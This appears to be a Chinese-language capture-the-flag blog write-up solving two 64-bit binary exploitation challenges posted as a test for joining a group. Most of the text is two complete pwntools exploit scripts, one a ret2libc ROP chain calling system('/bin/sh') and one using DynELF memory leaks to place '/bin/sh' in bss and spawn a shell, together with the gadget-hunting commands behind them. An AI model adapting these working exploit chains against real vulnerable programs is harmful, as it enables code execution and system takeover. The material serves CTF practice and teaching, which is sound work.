Pwn为了入群做题

想学习,必要了解各位师傅,必入群

1、x64

1、程序

拿到题目
链接:http://pan.baidu.com/s/1pKTjqgr 密码:dhw5
checksec pwn2

1
2
3
4
5
6
7
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
`

程序可以知道是64位的,它的传参优先由寄存器完成。
接着,我们应该了解程序的流程,以及找到程序的漏洞,以及思考其利用方式。

2、分析程序

我们去尝试运行,摸清了基本上的程序的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@kali:pwn2# ./pwn2
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FB8DF81A9B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FB8DF095450
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 3
asd
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

功能1,可以获得libc的基址
功能2,可以获得函数的地址
功能3,输入的地方,感觉这个地方可能存在漏洞。

紧接着,我们可以用IDA 分析程序了。

发现一个函数的不适当应用,拷贝的过程中没有判断大小,可能造成缓冲区溢出。

void memcpy(voiddest, const void * src, size_t n);
由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。savedregs是一个IDA关键字我们可以看到 保存的堆栈帧指针和函数返回地址:在IDA中,我们可以直接单击它。

buf的大小应该是8没错,之后可能造成缓冲区溢出,那么我的解题思路大概是如下:
1、找到system的地址
2、找到”/bin/sh”地址,找不到就找个bss地址,将”/bin/sh”传入
3、找个gadgets像pop rdi,ret
完成上面三个步骤,我们就可以去构造我们的ROP链来getshell。

3、找

这个ROPgadget安装参考:
https://github.com/JonathanSalwan/ROPgadget
找到本地的gadgets
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"|grep rdi

1
2
3
0x000000000002079b : pop rdi ; pop rbp ; ret
0x000000000001fc3a : pop rdi ; ret
0x0000000000025312 : pop rdi ; ret 0x13

参看目标libc版本:ldd

1
2
3
4
linux-vdso.so.1 (0x00007ffecd990000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f427bb9d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f427b7fe000)
/lib64/ld-linux-x86-64.so.2 (0x0000561313850000)

找到本地的/bin/sh
strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"

1
2
root@kali:pwn2# strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
161999 /bin/sh

可以知道”/bin/sh”偏移是0x161999
至于sytem函数,程序的第二个功能已经给我们了,至此,我们可以开始构造我们的exp了.

4、exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
def get_libc_func_addr(p, function):
p.send("2\n")
msg = p.recvuntil("Enter symbol: ")
p.send(function+"\n")
msg = p.recvuntil("4) Exit\n: ")
offset = msg.find(":")
offset2 = msg.find("\n")
addr = msg[offset+2: offset2]
return long(addr, 16)
def send(p,payload):
p.sendline("3")
p.recv(1024)
p.send("%d\n"%(len(payload)+1))
p.sendline(payload)
p.sendline("4")
return
p=process("./pwn2")
#p=remote("127.0.0.1",4001)
so = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#so=ELF('libc.so.6')
system_addr=get_libc_func_addr(p,"system")
print hex(system_addr)
system_offset=0x780560
system_offset=so.symbols['system']
base=system_addr-system_offset
print hex(base)
pop_r_offset=0x1fc3a
pop_r_addr=base+pop_r_offset
sh_offset=0x161999
sh_addr=base+sh_offset
payload='a'*8+p64(pop_r_addr)+p64(sh_addr)+p64(system_addr)
send(p,payload)
p.interactive()

这里记录一下我走过的坑,
不知道libc.so.6的地址打印出来是干什么的,开始我认为是libc_base,但是它的值比打印出来的system值大,这就很奇怪,因为:
system_offset = so.symbols[‘system’]
systemAddr - system_offset = libc_base
writeAddr -so.symbols[‘write’] = libc_base

所以不知道它的作用是什么,但这道题,没有给libc.so.6,据说是可以查看版本的,这里我就偷懒的,因为和上一道题是在同一台机器上的,那肯定用同一个libc库了,直接拿来用

2、入群

链接:http://pan.baidu.com/s/1qY4wyoW 密码:46d4
代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
elf=ELF('pwn')
get_got = elf.got['fgets']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
bss = 0x6020b0
ppprdi=0x401ab0
p = process('pwn')
p.recvuntil('> ')
#gdb.attach(p,'''b *0x4019ea ''')
def peek(addr):
rop = p64(ppprdi) +p64(addr) +p64(1)+p64(1) + p64(puts_plt) + p64(main)
p.sendline('A'*40+ rop)
str = p.recvuntil('> ')
result = str.split('\ncallme')[0]
if result == '':
return '\x00'
return result
d = DynELF(peek, elf=elf)
system = int(d.lookup('system', 'libc'))
gets = int(d.lookup('gets', 'libc'))
rop = p64(ppprdi) + p64(bss) +p64(1)+p64(1) + p64(gets) + p64(main)
payload = "A"*40 + rop
p.sendline(payload)
p.sendline('/bin/sh\0')
p.recvuntil('> ')
rop=p64(ppprdi) + p64(bss) +p64(1)+p64(1) + p64(system) + p64(0xdeadbeef)
payload = "A"*40+ rop
p.sendline(payload)
p.interactive()

之后是什么、、、、说好的flag呢?
哇还有东西,居然还有都行,居然是.dat文件

害怕-恐怖

才想到做题技术大牛说的,不要害怕新的挑战,敢于尝试,

然后,研究几分钟,发现就很简单算法

这时想去昨天技术大牛说的话,可能并不难,只是有颗害怕的心

Do_more_and_ask_less

Donate
-------------本文结束感谢您的阅读-------------